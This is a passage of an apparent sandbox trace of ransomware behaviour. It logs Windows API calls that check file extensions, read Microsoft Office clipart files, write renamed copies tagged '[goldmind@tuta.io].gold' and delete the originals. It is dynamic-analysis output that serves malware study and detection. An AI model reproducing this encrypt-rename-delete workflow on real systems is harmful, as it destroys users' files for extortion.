lpOverlapped=0x0) returned 1 [0095.868] SetEndOfFile (hFile=0x38c) returned 1 [0095.868] CloseHandle (hObject=0x38c) returned 1 [0095.868] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.868] SetEndOfFile (hFile=0x3c8) returned 1 [0095.871] CloseHandle (hObject=0x3c8) returned 1 [0095.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0095.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0095.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0095.872] lstrlenW (lpString=".doc") returned 4 [0095.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.872] lstrlenW (lpString=".docx") returned 5 [0095.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.872] lstrlenW (lpString=".pdf") returned 4 [0095.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.872] lstrlenW (lpString=".xls") returned 4 [0095.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.872] lstrlenW (lpString=".xlsx") returned 5 [0095.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.872] lstrlenW (lpString=".ppt") returned 4 [0095.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0095.872] lstrlenW (lpString=".zip") returned 4 [0095.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.872] lstrlenW (lpString=".rar") returned 4 [0095.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.872] lstrlenW (lpString=".bz2") returned 4 [0095.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.872] lstrlenW (lpString=".7z") returned 3 [0095.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0095.872] lstrlenW (lpString=".dbf") returned 4 [0095.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0095.872] lstrlenW (lpString=".1cd") returned 4 [0095.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0095.872] lstrlenW (lpString=".jpg") returned 4 [0095.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0095.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0095.872] lstrlenW (lpString=".doc") returned 4 [0095.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.872] lstrlenW (lpString=".docx") returned 5 [0095.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.872] lstrlenW (lpString=".pdf") returned 4 [0095.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.872] lstrlenW (lpString=".xls") returned 4 [0095.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.872] lstrlenW (lpString=".xlsx") returned 5 [0095.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.872] lstrlenW (lpString=".ppt") returned 4 [0095.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0095.873] lstrlenW (lpString=".zip") returned 4 [0095.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.873] lstrlenW (lpString=".rar") returned 4 [0095.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.873] lstrlenW (lpString=".bz2") returned 4 [0095.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.873] lstrlenW (lpString=".7z") returned 3 [0095.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0095.873] lstrlenW (lpString=".dbf") returned 4 [0095.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0095.873] lstrlenW (lpString=".1cd") returned 4 [0095.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0095.873] lstrlenW (lpString=".jpg") returned 4 [0095.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.873] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.873] lstrlenW (lpString="FD00543_.WMF") returned 12 [0095.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.873] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1472) returned 1 [0095.874] CloseHandle (hObject=0x3c8) returned 1 [0095.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x20 [0095.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0095.874] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.874] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0095.874] GetLastError () returned 0x0 [0095.875] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x5c0, lpOverlapped=0x0) returned 1 [0096.090] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x5d0, lpOverlapped=0x0) returned 1 [0096.090] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.090] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.091] SetEndOfFile (hFile=0x38c) returned 1 [0096.091] CloseHandle (hObject=0x38c) returned 1 [0096.091] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.091] SetEndOfFile (hFile=0x3c8) returned 1 [0096.095] CloseHandle (hObject=0x3c8) returned 1 [0096.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0096.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0096.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0096.134] lstrlenW (lpString=".doc") returned 4 [0096.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.134] lstrlenW (lpString=".docx") returned 5 [0096.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.134] lstrlenW (lpString=".pdf") returned 4 [0096.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.134] lstrlenW (lpString=".xls") returned 4 [0096.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.134] lstrlenW (lpString=".xlsx") returned 5 [0096.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.134] lstrlenW (lpString=".ppt") returned 4 [0096.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0096.134] lstrlenW (lpString=".zip") returned 4 [0096.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.134] lstrlenW (lpString=".rar") returned 4 [0096.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.134] lstrlenW (lpString=".bz2") returned 4 [0096.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.134] lstrlenW (lpString=".7z") returned 3 [0096.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0096.134] lstrlenW (lpString=".dbf") returned 4 [0096.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0096.134] lstrlenW (lpString=".1cd") returned 4 [0096.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0096.134] lstrlenW (lpString=".jpg") returned 4 [0096.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0096.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0096.134] lstrlenW (lpString=".doc") returned 4 [0096.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.134] lstrlenW (lpString=".docx") returned 5 [0096.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.134] lstrlenW (lpString=".pdf") returned 4 [0096.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.134] lstrlenW (lpString=".xls") returned 4 [0096.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.134] lstrlenW (lpString=".xlsx") returned 5 [0096.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.134] lstrlenW (lpString=".ppt") returned 4 [0096.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0096.134] lstrlenW (lpString=".zip") returned 4 [0096.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.134] lstrlenW (lpString=".rar") returned 4 [0096.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.134] lstrlenW (lpString=".bz2") returned 4 [0096.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.135] lstrlenW (lpString=".7z") returned 3 [0096.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0096.135] lstrlenW (lpString=".dbf") returned 4 [0096.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0096.135] lstrlenW (lpString=".1cd") returned 4 [0096.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0096.135] lstrlenW (lpString=".jpg") returned 4 [0096.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.135] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.135] lstrlenW (lpString="FD00965_.WMF") returned 12 [0096.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0096.163] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=15164) returned 1 [0096.163] CloseHandle (hObject=0x3b8) returned 1 [0096.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x20 [0096.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.472] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.472] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0096.473] GetLastError () returned 0x0 [0096.473] ReadFile (in: hFile=0x190, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3b3c, lpOverlapped=0x0) returned 1 [0096.495] WriteFile (in: hFile=0x394, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3b40, lpOverlapped=0x0) returned 1 [0096.496] ReadFile (in: hFile=0x190, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.496] WriteFile (in: hFile=0x394, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.496] SetEndOfFile (hFile=0x394) returned 1 [0096.496] CloseHandle (hObject=0x394) returned 1 [0096.496] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.496] SetEndOfFile (hFile=0x190) returned 1 [0096.497] CloseHandle (hObject=0x190) returned 1 [0096.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0096.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0096.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0096.498] lstrlenW (lpString=".doc") returned 4 [0096.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.498] lstrlenW (lpString=".docx") returned 5 [0096.498] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.498] lstrlenW (lpString=".pdf") returned 4 [0096.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.498] lstrlenW (lpString=".xls") returned 4 [0096.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.498] lstrlenW (lpString=".xlsx") returned 5 [0096.498] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.498] lstrlenW (lpString=".ppt") returned 4 [0096.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0096.499] lstrlenW (lpString=".zip") returned 4 [0096.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.499] lstrlenW (lpString=".rar") returned 4 [0096.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.499] lstrlenW (lpString=".bz2") returned 4 [0096.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.499] lstrlenW (lpString=".7z") returned 3 [0096.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0096.499] lstrlenW (lpString=".dbf") returned 4 [0096.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0096.499] lstrlenW (lpString=".1cd") returned 4 [0096.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0096.499] lstrlenW (lpString=".jpg") returned 4 [0096.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0096.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0096.499] lstrlenW (lpString=".doc") returned 4 [0096.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.499] lstrlenW (lpString=".docx") returned 5 [0096.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.499] lstrlenW (lpString=".pdf") returned 4 [0096.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.499] lstrlenW (lpString=".xls") returned 4 [0096.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.499] lstrlenW (lpString=".xlsx") returned 5 [0096.499] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.499] lstrlenW (lpString=".ppt") returned 4 [0096.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0096.499] lstrlenW (lpString=".zip") returned 4 [0096.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.499] lstrlenW (lpString=".rar") returned 4 [0096.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.499] lstrlenW (lpString=".bz2") returned 4 [0096.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.499] lstrlenW (lpString=".7z") returned 3 [0096.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0096.499] lstrlenW (lpString=".dbf") returned 4 [0096.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0096.499] lstrlenW (lpString=".1cd") returned 4 [0096.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0096.500] lstrlenW (lpString=".jpg") returned 4 [0096.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.500] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.500] lstrlenW (lpString="FD01657_.WMF") returned 12 [0096.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.500] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=30414) returned 1 [0096.500] CloseHandle (hObject=0x190) returned 1 [0096.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x20 [0096.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.501] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.501] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0096.501] GetLastError () returned 0x0 [0096.501] ReadFile (in: hFile=0x190, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x76ce, lpOverlapped=0x0) returned 1 [0096.539] WriteFile (in: hFile=0x394, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x76d0, lpOverlapped=0x0) returned 1 [0096.540] ReadFile (in: hFile=0x190, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.540] WriteFile (in: hFile=0x394, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.540] SetEndOfFile (hFile=0x394) returned 1 [0096.540] CloseHandle (hObject=0x394) returned 1 [0096.541] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.541] SetEndOfFile (hFile=0x190) returned 1 [0096.542] CloseHandle (hObject=0x190) returned 1 [0096.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 